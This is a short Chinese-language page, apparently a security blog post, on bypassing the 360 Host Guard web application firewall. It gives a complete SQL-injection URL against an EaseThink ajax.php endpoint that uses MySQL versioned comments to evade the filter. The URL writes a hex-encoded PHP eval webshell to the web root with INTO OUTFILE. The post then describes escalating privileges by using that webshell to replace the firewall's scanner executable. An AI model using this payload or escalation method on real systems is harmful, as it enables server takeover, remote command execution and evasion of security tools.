绕过360主机卫士

previous page next page

Apache版本跟IIS版本中。为了防止出数据在联合注入下出数据。from出现任何参数就会拦截。但是前面的语句通过即可绕过。

        122.*.*.*/easethink/ajax.php?act=verify_ecv&ecvsn=1'union/*!50000*/all/*!50000*/select%2b1,2,3,4,5,6,7,8,9,10,0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into/*!50000*/outfile'D:/WWW/1.php'%23

然后访问1.php即可出现一句话。

有了shell就可以提权了，这个只影响Apache版本。

主机卫士在查杀后门的时候调用的是WebSafeScanner2.exe这个程序。由于权限设置问题导致可以通过webshell替换该文件实现提权。

previous page start next page